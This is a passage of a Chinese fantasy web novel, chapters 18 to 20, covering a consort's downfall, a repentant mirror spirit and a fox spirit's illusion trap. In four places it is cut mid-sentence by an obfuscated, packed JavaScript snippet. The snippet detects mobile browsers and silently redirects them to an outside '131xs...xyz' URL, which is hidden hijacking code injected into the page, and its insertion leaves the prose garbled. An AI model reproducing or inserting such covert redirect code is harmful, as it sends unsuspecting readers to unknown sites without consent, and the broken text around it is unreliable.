他痴迷地仰望着张贵妃的脸,不知不觉陷入了他自己都不知的疯狂,转头冷冷俯看云嫔失去血色的脸:“贵妃无心之失,并无害人之意,你好好修养身子,孩子以后还会再有。” …… “娘娘,您真的要这么做吗?”紫烟忧心地望向张贵妃,自从娘娘恢复年轻美貌后,就不停害人,她觉得娘娘变得越来越陌生,以前明明不是这样的。 “淑妃近日风头正盛,我若不好好打压她一下,倒叫她越过了我去。”张贵妃漫不经心地把玩着护甲,望向桌上的饭菜,眼底闪过毒辣。 她计算着皇帝到来的时间,毫不犹豫吃下有毒的羊肉,不消片刻,腹部出现巨痛,额头冒出冷汗,但她极力克制自己的表情,使之看起来痛苦却不至于丑陋。 白猫不懂后宫之中的算计,见主人难受,忧心地来回踱步。 殿门口的皇帝见到这副景象,三步并两步上前忙将美人扶到怀里:“婉儿,你怎么了?!” 紫烟焦急道:“娘娘方才吃了一片羊肉,不知怎的就……” 张贵妃艰难开口:“臣妾一时贪嘴,没想到这饭菜里竟被人下了毒,还好是冲臣妾来的,若是伤到了皇上的龙体,咳咳。” 她说着吐出一口鲜血,叫皇帝心疼不已也愤怒不已,还好贵妃发觉了不对,若是他吃了那有毒的饭菜,后果不堪设想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296808|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还不快叫御医!”皇帝大声喊道,凌厉的眼神望向紫烟:“尝膳太监呢?!” 紫烟心头直跳:“奴婢这就叫他过来!” 尝膳太监一口咬定是淑妃指使他下的毒,皇帝震怒,剥去淑妃封号,将她贬为才人,猫儿被皇帝吓得躲了起来。 尝膳太监被拖出去打了五十大板,远远看过去血肉模糊,等紫烟过去时他已经断了气。 紫烟神色复杂,贵妃娘娘以这太监家人的性命为要挟,逼迫他指控淑妃,也是个可怜人。 张贵妃神色冷漠地看着这片血红:“紫烟,你觉得本宫错了吗?” 紫烟低着头没说话,她觉得娘娘这话更像是在问她自己。 贵妃幽幽叹了口气:“在这宫里,若我不想被吃掉,只有主动吃别人啊。” …… 花好月圆夜,张贵妃依偎在皇帝怀中,像只温顺的猫儿。 她纤手抚上皇帝胸膛,媚眼如丝,“皇上,您爱臣妾吗?” 皇帝满眼迷醉,呼吸被她撩拨得有些急促,埋首于玉颈间,吸了一大口香气,贴着她的耳朵:“朕爱死你了。” 张贵妃嗔怪叫了声皇上,伸手去解他的腰带。 皇帝眼中被欲色填满,正要去吻张贵妃的唇,突然顿住,惊呼道:“爱妃,你的脸……” 张贵妃心头慌忙,连忙起身拿铜镜看向自己的脸。 “啊!” 镜中映出的画面让她忍不住大声尖叫——不断有黑斑从她白皙的脸上冒出,紧致的皮肤变得松垮,又密又深的皱纹宛如枯老的树皮…… “哐当——”铜镜摔落在地,发出清脆的声响。 “我的脸……我的脸!”张贵妃双手颤抖着摸上自己的脸,才发现她的手也衰老得不成样子,确认了镜中的一切都是真实的后,她一下子瘫坐在地。 皇帝看着面容丑陋,满头白发的张贵妃,心头翻涌起无限的厌恶:“来人,把这个不人不鬼的妖怪拖出去!” 突如其来的反噬已经让张贵妃整个人处在崩溃边缘,皇帝的行为则令她脑中最后一根弦也断裂。 “传朕旨意,张贵妃恃宠而骄,构陷妃嫔,谋害皇嗣,惑乱宫闱,将其押入冷宫,赐鸩酒一杯,即刻自尽,以儆效尤。” 皇帝冷冷拂袖而去,不曾再看张贵妃一眼,他正思虑要去哪位后妃那里寻求慰藉呢。 …… 冷宫。 “那日你故意推我致我小产,今日我便来送你一程。”云嫔看向张贵妃的眼里满是恨意,太医说她这辈子都不会再有孩子了,而这一切都是张贵妃造成的! 张贵妃像是没听到她的话,精神恍惚,嘴里一直重复着:“我的脸……我的脸……” 她不停用钗子划着铜镜,好像只要铜镜被划破了,里面那张可怕的脸也会消失似的。 云嫔见她这样子也懒得多言,左手发狠地捏住她的下巴,右手使劲往她嘴里灌毒酒。 张贵妃痛苦地挣扎起来,铜镜沉沉掉在木板上,密密麻麻的划痕令人心惊。 求生欲望让她有短暂的清醒,可一切都于事无补,鸩酒毒性很强,她很快没了动静。 白猫呜咽一声,云嫔露出大仇得报的笑容:“你家主子已经死了,你这小畜生赶紧走吧。” 见猫儿不愿离开,云嫔冷哼一声走了,她也没必要和一只猫过不去。 猫儿静静站在张贵妃身旁,突然,地上的铜镜不正常地抖动起来,镜面上浮现出淡淡的红光,右侧最深的那道划痕变成妖异的暗红色,像汇集了最怨毒的血,尖叫着要将人拖下地狱。 猫儿尖叫一声,飞快逃走,冷宫重新恢复了平静。 18. 黄果酒(五) 看着对面的女子,罗纪安小小的眼睛里装满大大的疑惑:“你说你是这铜镜成精?” 面容姣好,但右脸有一道狰狞伤疤的女人嘴角上扬:“怎么样,怕不怕?” 罗纪安挠了挠头,还是一副不相信的样子:“这世上真有这么玄乎的事儿?” 女妖似乎因为自己没吓到人而有点失望:“你这人可真没劲,遇到妖怪也不怕。” “我爹娘在我很小的时候就走了,但他们教我的道理我一直记得:不做亏心事,不怕鬼敲门。虽然我没见过鬼,但他们应该比你要可怕得多。” 末了,罗纪安停顿了一下,神情认真地补上一句:“而且,我觉得你不像坏人。” 看着他一本正经的,镜葵不禁轻笑出声,刚见面时,她故意背着身子坐在路边假装哭泣,以往寻常男人见到她窈窕的背影,忙上前安慰,紧接着看到她可怕的脸,不说被吓一跳,至少也会心生厌恶快步离开,可这个樵夫不仅神色如常,还关切地询问她遇到了什么难事,需要什么帮助,倒是罕见得很。 她方才又探查了这男子的内心,他最大的欲望竟然是好好生活,真是个单纯至极的人,实在有趣。 镜葵现在心情不错,笑眯眯的:“你们不是有句俗话叫人心不可貌相吗?” 罗纪安摇了摇头:“我不是用眼睛看的,我是在用心去感受。若你要害我,早该动手了,不必搬出自己妖怪的身份吓唬我。” “你只说对了一半,我确实不想害你,但我一路从东来,见过了形形色色的人,有的内心装着贪念恶欲,我便取走了他们的魂魄,让他们少干点坏事。” 罗纪安微微皱眉:“这是否太草率了?仅凭内心的欲念怎么判断一个人的好坏呢?有些人可能只是心里这么想,但一辈子都不打算去做。就算他们做了不好的事,也要看事情的严重程度,取人魂魄的惩罚有时候会不会太重了?” 镜葵愣住了,她想过罗纪安会害怕退却,会严厉指责,却没想到他会这样和她讲道理。 罗纪安眼睛亮得出奇:“这样吧,你跟着我,若你探查到某个人心中有邪恶的欲念,等我们一起观察一段时间再做决定,好不好?” …… 罗纪安讲到这里时停了下来,锦棠还沉浸在这个故事里,没有立刻反应过来。 泷宋托着腮问:“那她答应你了吗?” 罗纪安点头又摇头,苦笑了一下:“刚开始一切都很好,镜葵不再冲动,除去那些穷凶极恶之人,她没有再取走别人的魂魄,最多是吓一吓他们以示警戒。可是两个月后,她突然变得易燥易怒,开始大肆取人魂魄,我再也劝不住她,只好想办法请你们帮忙。” 裴轼恍然大悟:“你深知镜葵性情,所以故意与孟小姐在胭脂铺碰面,好让她妖气外泄留下破绽?” 罗纪安眉眼间透着一股疲惫:“是的,我很对不起孟小姐,让她有性命之忧,等镜葵醒后,我会劝她归还大家的魂魄,如果不行,还请各位帮忙。” 他顿了一下,语气恳求:“镜葵也是个可怜人,虽然做了错事,但本心不坏,希望你们能放她一条生路。” 敦九点了点头,“我们和你一起进去吧。” 罗纪安先前为镜葵服下丹药,此刻她的身体还很虚弱,但意识已经清醒了。 “为什么?”镜葵眼神悲伤地看向罗纪安,蜿蜒的伤疤和苍白的嘴唇显得她无比脆弱。 罗纪安没有回答这个问题,他知道镜葵心中也已了然,只上前握住她的手:“不管发生什么,我都会陪着你。” 镜葵垂下眼眸,没有推开罗纪安的手,“我帮他们改掉缺点,克制欲望,不好吗?” 敦九捋着胡子叹了口气:“你用的法子未免太过极端,况且人妖有别,凡人的事还是交给人间自己处理较好。” 镜葵冷哼一声:“那刘茂是青石镇的土皇帝,和他儿子两个作威作福,我给的教训已经算便宜他们了。” 敦九正色道:“我定会找机会向陛下反应此事,以求百姓安居乐业。” “不过,”他话锋一转:“钱迁虽吝啬,并没有害人,你却取他魂魄;孟小姐只言语讥讽了几句,你就取走她的天魂;还有其他很多人,他们并没有做什么坏事,你看到他们内心的瑕疵,然后无限放大,可见你心中判断是非善恶的标准并不明晰,反而扰乱了人间,更像在满足自己的私欲。” 镜葵沉默了,敦九继续说道:“万般生灵皆有欲念,实在正常不过,你且放下心结,好好想想吧。” 镜葵闭上眼:“我已将他们的魂魄归还,接下来要杀要剐都随你们。” 罗纪安着急起来:“镜葵已经知错悔改……” 敦九开口打断他:“答应你的事自然会做到。” 他看向镜葵:“我废除你一半修为,你可有怨言?” “不劳你动手了。”镜葵语气决绝,还不等几人反应,她主动散去内丹,形体慢慢消散,最终变为了一小块镜子碎片。 “镜葵!”罗纪安大喊一声,却只看到镜葵脸上最后淡淡的笑,无助地将那块镜子碎片捧在手心里。 罗纪安低着头轻声询问:“我还能再见到她吗?” 敦九震惊之余不忘安慰罗纪安:“镜妖是很特殊的妖怪,他们的修为与记忆紧密相连,她此番自废全身修为应当是想忘却前尘,这是她心之所愿,你也不必太过神伤。待她重新成长,性情会受你影响,你可要以身作则,好好教导。” 铜镜碎片映出罗纪安的脸庞,他指尖轻柔抚摸着镜面,静静的,不再言语。 出了院子没多远,锦棠听到街上一阵喧哗。 “哎哟,你听说了吗?刘茂前段时间偷偷养了个外室,没多久就怀上了,他正高兴,结果撞见那外室偷情,一气之下晕倒了,这一晕不要紧,大夫竟然检查出来他不能生育!”一位大娘说得绘声绘色,留足了悬念。 旁边的妇人震惊不已:“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307537|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?那他儿子……” “自然也不是他亲生的,刘茂这会儿正闹着休妻呢!”大娘眉飞色舞:“你别说,这刘茂还是在他儿子自宫后才养的外室,为了香火嘛没办法,这么看来他还挺可怜的。” 妇人不赞同地愤愤道:“哎,你可别同情他,刘茂仗着自己是镇长,以权谋私,不知道干了多少坏事,他儿子更是把自己当成小霸王,无法无天。我看啊,他们这是遭报应了,恶人自有天收!” “你说得有道理,不过现在刘茂发现了儿子不是他亲生的,从今往后那刘家骏都要夹起尾巴做人喽!” 大娘与妇人一同大笑,听得锦棠心情好了很多,她笑着缓缓摇头:“真是因果报应呀。” 路过瓷器铺,又见一位熟人。 钱迁指着一只瓷瓶:“便宜点呗。” 老板笑着打趣他:“钱老爷,您家财万贯,千万别舍不得这一点小钱,要是那怪病卷土重来就得不偿失了。” 钱迁一咬牙,猛地掏出钱袋子,但往里拿银子时又像被强大的结界阻挡,前进一寸都困难至极。 泷宋笑出声来:“吝啬鬼改过自新了呀。” 敦九乐呵呵的:“就属你们两个小滑头最贫嘴。” 准备离开青石镇的时候,锦棠看见路边有卖黄果酒的,馋虫瘾犯了,拉着敦九三个一同在木凳坐下。 老板为他们倒酒,一个俏生生的小姑娘跑过来坐在旁边,一点也不怕生。 “我也想喝这个。” 她一双眼眸乌黑清亮,皮肤洁白细腻,脸颊圆润可爱,只是头上两个发髻歪歪扭扭的,可见为她梳头的大人还不太熟练。 后头赶上来一个男人:“好好好,小葵,我们换张桌子,别打扰人家。” 听到这熟悉的声音,仙官府四人都有些惊讶,罗纪安也才发现他们,挠挠头讪然一笑:“好巧啊。” 罗纪安温柔地摸着小姑娘毛茸茸的头:“小葵现在很好,我想这也是她所希望的。” 小葵龇牙咧嘴装凶:“你别老摸我的头,会长不高的!” 罗纪安很是宠溺:“好,不摸不摸。” 锦棠拿起酒杯,澄黄的酒液初入口时,黄果独有的清甜就在舌尖绽开,细品之下又有独到的醇厚感,果香里藏着淡淡的酒曲香,整杯酒下肚,喉咙里仍留着清爽的余韵,酸甜的尾调温和又让人回味无穷。 她满足地赞叹道:“人间的酒也别有一番滋味呀。” 小葵也对黄果酒十分满意:“好喝好喝,我还要!” 罗纪安面容严肃:“小孩不能喝太多酒。” 小葵双手握拳放在眼下,作势要哭:“呜呜呜坏人……” 罗纪安立刻心软:“回去我给你做黄果汁,保证比这个还好喝。” 小葵眼睛亮晶晶:“真的?” 罗纪安做出拉勾的手势:“骗人是小狗。” 暖阳温和,微风不燥,往后相依相守,岁月悠长。 19. 桂花酿(一) “敦九伯伯,我们现下要去的地方,到底发生了什么事儿啊?”锦棠脚踩云朵,歪过头问。 敦九手持罗盘,两眉微蹙:“解忧符纸上说雾月城近日惊现数起剖心案,似是一人所为,且凶手疯狂狠毒,官府追查多日仍旧束手无策,情况很是棘手。” 裴轼声如清风:“在敦九伯伯的带领下,我们定能找出真凶,将其绳之以法。” 敦九脸上有了笑意,故作责怪,打趣道:“裴轼,你也跟着锦棠学坏了,油嘴滑舌。” 裴轼失笑:“小生是认真的。” …… 腾云驾雾片刻后,仙官府四人藏匿气息,使了个隐身术,在城主府门前显形。 锦棠一脸愤愤不平:“方才在城门前看到有重兵把守,可见城主对此事十分上心,想必那杀人凶手跑不出这城门。” 敦九严肃道:“凡人力量虽有限,但官兵们也不是吃素的,想来凶手并非肉体凡胎,不要掉以轻心了。” 嘱咐完三个小辈,敦九上前几步,对两个守门的侍卫说:“劳烦二位通传城主,仙官府的人到了。” 其中一个侍卫把敦九从上到下打量了一遍,对另一个侍卫说:“你在这儿看着,我进去通报。” 不多时,府门从内打开,城主亲自出来迎接他们。 那男子约莫四十上下,身材适中,面容算不上俊朗,却自有一种沉稳气度。他眼神温和,细看之下却含有锐利,唇边留着短短的胡茬,透着几分随性,却不显邋遢。 他身穿棉麻青衣,脚踩布鞋,实为朴素,若是不认识的人看见,绝对想不到他竟然是一城之主。 城主朝敦九作揖:“仙官大人大驾光临,真是让雾月城蓬荜生辉。” 敦九摆摆手:“这些客套话不必多说,你且将这剖心案的细节说与我听,早些抓住凶手,也可保城内其他百姓平安。” 城主叹了口气,将仙官府四人带到中堂坐下,缓缓开口:“城中已有四起剖心案,第一起发生在半月前,受害者是我的儿子。” 四人听了这话都震惊不已,看到城主满脸的痛色,他们深知什么安慰都是徒劳。 “我儿子死在他与新妾的洞房花烛夜。本是件喜事,好端端的,却成了白发人送黑发人……”城主说到这里停顿良久,似乎不想回顾那些伤心往事。 室内安静得过分,算得上落针可闻。 “拜堂时一切正常,后半夜忽然听到我儿子的尖叫,我与夫人被吵醒,赶过去时,我儿倒在血泊中已经没有了气息,他的心脏下落不明;新妾昏迷在床,满手鲜血……” 城主不忍再说下去,听他描述的这场景,可以称得上噩梦。 敦九斟酌着语气:“新妾可有问题?” 他也不想揭开城主内心的伤疤,但为了办案别无他法,只有处决了凶手,才能从根本上解决城主的痛苦。 城主面色灰败:“明面上看,新妾就是杀死我儿的凶手,但她与我儿并无仇怨,且性子柔弱,断不会做出此等残忍之事。当时我夫人被吓晕,我强撑着叫醒新妾,她又立刻害怕地晕了过去,等她清醒过来,却怎么也想不起来那晚究竟发生了什么,怕是被妖邪上身,杀害我儿,失去了记忆。” 敦九察觉到对方话语中隐隐透露出的信息:“城主可有怀疑对象?” 城主点头道:“我儿正妻于一年前病逝,守丧期刚过,他便着急迎新妾进门,那天刚好是他正妻的忌日,唉,我劝过他的……我怀疑是那姑娘心怀怨恨,化作厉鬼索走了我儿的命。” “厉鬼索命?倒也不是没这个可能,”敦九思忖着:“不如你带我们去那姑娘的墓看一看。” 他心中却不太认同城主的猜测,病逝属于正常死亡,不太可能变成厉鬼,而且城主儿子在一年后才受到伤害,那姑娘估计早就转世投胎了。 城主有点犹豫,但最终想为儿子报仇的决心压过了恐惧,“好,仙官大人请随我来。” 一路上城主都没有开口,行至山腰,他停下脚步:“到了。” 敦九上前细细察看,这跟他想的倒有点不太一样。 苍翠柏树下竖着一块青石墓碑,碑面光洁,碑文清晰,历经风雨也未曾褪色,篆的是“张门徐氏之墓”。 碑前的石案上摆着两只瓷碗,一只里头盛着清水,另一只放有水果,看着还挺新鲜。碗旁立着一只素雅的瓷瓶,一支桂花开得静好,微风吹过,清香逸散,抚慰急躁的心灵。 城主吸了口气,惊讶道:“石案上原来并无这些东西,想必是她生前的亲朋好友摆放的。” 敦九双眼却盯住了那只瓷瓶:“城中桂花纷纷凋零,为何这一支还开得如此之盛?” “有古怪。”他一边说一边俯身将手伸向那支热烈绽放的桂花,无论揉搓或弯折,那花都纹丝不动。 泷宋瞪大眼睛:“假花!?” 城主晃了晃眼:“这、这是怎么回事?” 敦九站直身子,叹了口气:“这支桂花乃是妖力幻化而成,美则美矣,终是虚妄。” 城主差点咬到舌头:“妖、妖力?有妖怪!?” 敦九略一点头:“没错,所以还请城主大人先回去,我怕待会打起来伤到您。” 城主脚下迟疑,敦九继续说:“城主请放心,我们一定给您一个交代。” “好吧,那、那我先走了。”城主走前看了眼墓碑,打了个哆嗦。 见城主走远,敦九轻轻将手放在墓碑上,环顾四周:“这儿并没有什么冤魂厉鬼,倒是有个小妖怪,出来吧,我们谈谈。” 他不再隐藏气息,灵力萦绕周身,很有威压。 四下寂静,唯闻草木簌簌轻响。 “不出来吗?”敦九紧盯着周围,抬高音量:“那我便毁了这墓碑。” 说着,他将灵力汇聚于手心,欲一掌压碎徐氏的碑。 敦九没有任何犹豫,石碑上马上出现一道裂痕,就在裂痕继续扩大的时候,不知从哪冲出来一只毛色火红的狐狸,将他撞开,爪子死死护住墓碑。 “住手!”狐狸龇牙咧嘴,眼冒怒火,似两把尖刀狠狠剜着敦九。 “可算把你引来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314184|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”敦九面带笑意,轻一佛手,石碑上的裂痕消失,完好如初。 他语气温和:“只是个障眼法,你莫生气,我有些事想要问你。” 狐狸却不听他的,脊背猛地绷紧,如同一张劲弓,琥珀色的瞳孔缩成细缝,火红的皮毛根根倒竖,像团随时会炸开的火焰。 狐狸扑向敦九的速度极快,但敦九只是后退半步,从容不迫地唤出一只酒坛抵挡,锋利的狐爪挠向外壁,却留不下半点痕迹。 狐狸咬紧牙关,却发现即使自己使出浑身解数也根本近不了敦九的身,忽而瞥见他身后三人,灵光一闪,扭身将尾巴甩出去。 敦九笑笑:“换了尾巴也是一样的。” 下一瞬,他嘴角的笑意凝固,慌忙转身,只见那赤狐盯准了锦棠,扬起利爪,欲将她的喉咙抓破! 变故突生,锦棠瞳孔放大,一时忘了用法术,下意识侧过头伸出手臂阻挡,在这千钧一发之际,裴轼上前将她护在身后,灵力化作盾牌拦下了狐狸的攻击。 场上四人还未来得及松口气,却见狐狸嘴角勾起一个诡秘的笑,双瞳变成妖异的紫色。 “裴轼,别看它的眼睛!”锦棠心头一跳,直觉会有不好的事情发生。 她拉动裴轼的衣袖,前面的人却没有动静,锦棠心中不好的预感更加强烈,担忧地跑到裴轼前面,见到了极为可怕的一幕。 裴轼的双眼也在慢慢被紫色占据! “裴轼!”锦棠焦急地在他面前挥手,可裴轼却一动不动,神情呆滞地看着前方,而他视线的落点,正是狐狸的眼睛! 狐狸保持着原来的姿势停在空中,它的眼神也变得空洞无光,直到裴轼的双眼完全被那抹令人心惊的紫色填满,一人一狐两眼一闭,晕倒过去。 锦棠用力地扶住裴轼,心急如焚:“敦九,裴轼他这是怎么了?” 敦九在狐狸掉下来时接了一把,弯腰把它在地上放好,愁眉不展:“它对裴轼施了摄魂幻梦术,顾名思义,这法术能将人的魂魄拉入幻境,施法者会在其中制造各种各样的幻象,被困者则会将一切都当作真实,若是被困者最终没有识破幻境,那他的灵魂就会永远迷失在那里。” 锦棠听得心惊肉跳,将裴轼放躺下来:“可有破解之法?” 敦九摇摇头:“幻境一旦开启,便连施法者也无法关闭,只有被困者识破幻境,方可主动脱身,外人无法干涉。如若强行中断,施法者会受反噬,元神受损;被困者的灵魂则会同幻境一起湮灭。” 他愧疚不已:“此法太过阴毒,从前只有耳闻,想不到这只狐狸法力不强,倒会这邪门歪术。” 锦棠听完脸都白了,紧紧握住裴轼的手,直到一滴泪掉在手上,她才发觉自己哭了。 “裴轼从小聪慧过人,定能勘破虚幻的,你不要太担心了。”敦九自知这安慰起不到作用,心下懊悔不已,早点将那狐狸擒住就没后面的事了。 锦棠抿着唇,没有再说话,狐狸一开始的目标是她,裴轼是为了保护她才被拉入的幻境,要是裴轼真有什么好歹,她也绝不独活。 20. 桂花酿(二) “好黑……”裴轼皱眉,头脑晕沉沉的,他不知自己身在何方,也不知为什么会来到这里,周遭光线十分微弱,他只能看清三步之内的景象。 头顶偶有滴水,脚下的路也十分湿滑,裴轼想这应当是一处山洞。 他欲变幻一盏莲花灯来照明,这才惊觉全身灵力皆运转不通,无法施展任何法术。 裴轼的眉头皱得更深了,此地太过古怪,要谨慎对待。 不知出口在哪个方向,先试着往前走,若情况不对,再折返回来。 裴轼有了打算,小心翼翼向前,山洞里静谧非常,只能听见滴水声和他走动的声音。 越往里走,能见度渐渐变高,裴轼以为找对了方向,心下正松一口气,忽而听见女子慌张的求助声:“救命!救救我!” 这声音十分熟悉…… “锦棠!是你吗,锦棠?”裴轼来不及过多思考,朝声音来源奔去,路面滑腻不平,他险些摔倒。 他离那女子越来越近,不断呼唤锦棠的名字,可再也没有听到她的声音,这让裴轼心乱如麻。 他一个人涉险无所谓,要是锦棠也在这里,后果不堪设想。 突然,裴轼停下了脚步,他看见前方地面上有一小摊血迹,点点滴滴指出一个方向。 那女子受伤了!裴轼心尖一跳,顾不得其他,三步并两步沿着那条断断续续的血线往前。 血迹消失的时候,前路被一条诡异的河流阻挡,绿色粘稠的液体缓缓流淌着,也不知河底藏着什么可怕的生物,不时有气泡冒出。河面上飘着一层薄薄的青灰色雾气,散发着腥臭腐烂的气味,令人下意识想要远离。 这是一条仿佛从地域裂隙中流淌出的河。 但真正让裴轼感到害怕的不是这条河,而是透过那朦胧的雾气,他看到有两个一模一样的人被绑在石柱上,她们都长着锦棠的脸! 两个锦棠!? 裴轼惊骇不已,此时发生的事完全超出了他的认知。 “锦棠们”好像被施了法术,说不出话,只能发出呜呜咽咽的声音,用双眼向他求助。 裴轼捡起地上一块小石头投入河内,只一眨眼的功夫就被完全溶解,唯有方才掉落处激起的涟漪和几个气泡证明那块石头存在过。 裴轼的心紧紧揪起来,河道足足有十余米宽,他现在没有灵力傍身,无法在不碰到河水的情况下到达对岸。 更何况,即便到了对岸,也还有一个难题等着他解决。 哪个锦棠才是真的? 似是听到他心中所想,两个锦棠中间兀然立起一只巨大的水晶瓶,颈子很长,瓶口细小,里面装满了绿色的液体,似乎与河里的属于同一种物质。 与此同时,洞穴深处传来一个声音:“我们来玩个游戏,两个锦棠,一真一假,由你分辨,瓶中绿液倒尽之时,真的留下,至于假的么,那就丢到河里喂鱼。赢了,我送你们离开;输了,那就做一对亡命鸳鸯。” 这声音非男非女,和山洞一样古怪,笑起来尤为难听。 裴轼仰起头:“你是谁?” “我是这山洞的主人。” 裴轼握紧拳头:“我和锦棠与你无冤无仇,你为什么要这么做?” “你问的太多了,时间可不等人。” 水晶瓶凌空而起,头尾倒置,绿液缓缓流出,两位“锦棠”被解了束缚,开口求助。 左边的锦棠大喊:“裴轼,我才是真的锦棠!” 右边的锦棠抽泣道:“裴轼,你不要相信她,我才是真的。” 裴轼感觉他的脑子要炸开了,他只有极短的时间,必须保持冷静。 “我送你的储物戒指上装饰的是什么花?”裴轼问出第一个问题,紧盯着她们的反应。 两个锦棠异口同声:“桃花!” “你的传音玲珑上与我对应的区域刻着什么图案?” 两人再次同声一辞:“糯米团子!” 裴轼喉结翻滚,又接连问了几个十分细微的问题,可两个锦棠无论是语速还是神态都如出一辙,皆是对答如流。 水晶瓶中大半的绿液都倾泻而出,向两位少女所在之处蔓延,森冷的颜色如同剧毒的蛇牙,与之相触,布料瞬间化作焦灰,其掩盖着的白皙肌肤黑紫一片,迅速凹下去,露出底下模糊的血肉。 “裴轼,你快选我,我就要撑不住了!” “裴轼,我好疼啊,救救我!” 看到锦棠如此痛苦,裴轼心如刀绞,瓶中剩余绿液的倾倒速度只够他再问最后两个问题。 “下凡前我酿了一坛酒,是什么?” 两个锦棠连发懵的表情都一样:“你酿酒了,我不知道啊。” “你误喝了天帝陛下的酒,那酒叫什么?” “……菊花酒。” “竹叶酒!” 裴轼目光一凛,心中有了答案。 瓶中最后一滴绿液滴落,水晶瓶摔落在地,发出清脆的响声,山洞主人的声音适时响起:“哪个真,哪个假,你可决断好了?” 越来越多的绿液沾上锦棠的肌肤,腐蚀血肉的画面令人不忍直视。 左边的锦棠泪如雨下:“裴轼,我方才只是一时没想起来,你一定会选我的对吧?” 右边的锦棠泪光闪闪:“裴轼,我相信你一定能看出谁才是真正的锦棠。” 裴轼没有直接回应她们二人:“能否先把地上的绿液收了?” “你没有和我谈条件的资格。我再问你一遍,左右二人谁真谁假,你若再不选我就把她们两个都丢到河里去!” 迎着两个锦棠或可怜或期盼的目光,裴轼缓缓吐出几个字:“两个都是假的。” 左边的锦棠愣了一下,随后发出撕心裂肺的痛哭声:“裴轼,你好好看看,我就是真的锦棠,她才是冒牌货!” 右边的锦棠脸色发白:“裴轼,你认不出我吗?” 山洞主人的语气愈发古怪:“噢?你确定吗?那我把她们两个都杀了!” 裴轼伸出右手:“且慢。” 山洞主人笑了笑:“呵呵,原来是在拖延时间啊,那我便大人有大量,再给你一次选择的机会。” 裴轼眼中浮现怒色:“我不知与你有何仇怨,也不知你是如何窥探了我的记忆,以我心上人的性命作要挟,逼迫我玩一场毫无公平的游戏。” “你是怎么看出来的?”山洞主人的声音有些扭曲变形。 它此刻也不再伪装,“锦棠们”消失不见,留下两个稻草做的人偶。 “前面的问题你都回答得滴水不漏,锦棠也确实并不知晓我酿了桃花酒,纰漏便出现在这最后一个问题上。” 确认锦棠不在此地,裴轼的语气也变得大胆了些:“我并不知锦棠误饮了父帝的哪坛酒,记忆中自然也无这一段,你只好随便编了两个酒名来碰碰运气,再用笃定的语气诱导我选择右边。只可惜,父帝偏爱果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336638|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒,幸而你的法力还没有到神通广大的地步,只能窥探记忆,不能洞察人心。” 闻言,山洞主人语气中似乎参杂了其他的恨意:“你也说了是碰运气,此番恰巧是我的运气不好,万一天帝陛下换了口味又如何?此等投机取巧之徒,竟敢拿心上人的性命去赌!?” “你错了,”裴轼目光灼灼:“我爱慕的女子是个极明媚聪慧,赤诚善良之人,如遇此等困境,必先想办法自救,不把希望全然寄予他人;再者,她不愿让朋友为她涉险,你定下游戏规则的那一刻,她一定会劝我远离危险,不要管她。” 山洞主人沉默半晌,忽而发出一阵痛快的大笑:“哈哈哈哈哈哈哈,哈哈哈哈哈哈哈……” 它笑了许久,最后像是笑累了,幽幽飘出几个字:“还真是情深意笃啊……” 裴轼拱手道:“既然我赢了游戏,还请洞主大人遵守承诺送我出去,外面还有人在等我。” “哼!” 洞主冷笑一声,下一秒,一声震耳欲聋的轰鸣从洞穴深处炸开,岩壁上的裂缝迅速扩张,大块的岩石猛烈砸向地面,尘土瞬间弥散开来,坚固的石柱也应声断裂,无数碎石哗啦滚落,可怖的绿河沸腾不止…… 天崩地坼中,裴轼被一股力量控制着失去了意识,再睁眼时,锦棠关切的脸填满了他整个视线。 “裴轼,你终于醒了!你没事吧?” “……锦棠?我不是在做梦吧?” 裴轼抬起手想要触碰她,却因刚从幻境中脱身太过虚弱而不能及,锦棠看出他的意图,轻抓起他的手贴在自己脸颊上:“这是现实,不是梦!” “刚才你为了救我进入赤狐的幻境,还好你识破了虚幻,解救了自己。裴轼,你可有受伤?” “我无碍,”裴轼凝望着锦棠的双眼:“我在幻境中看见你受伤,不知有多担心,还好那都是假的。” 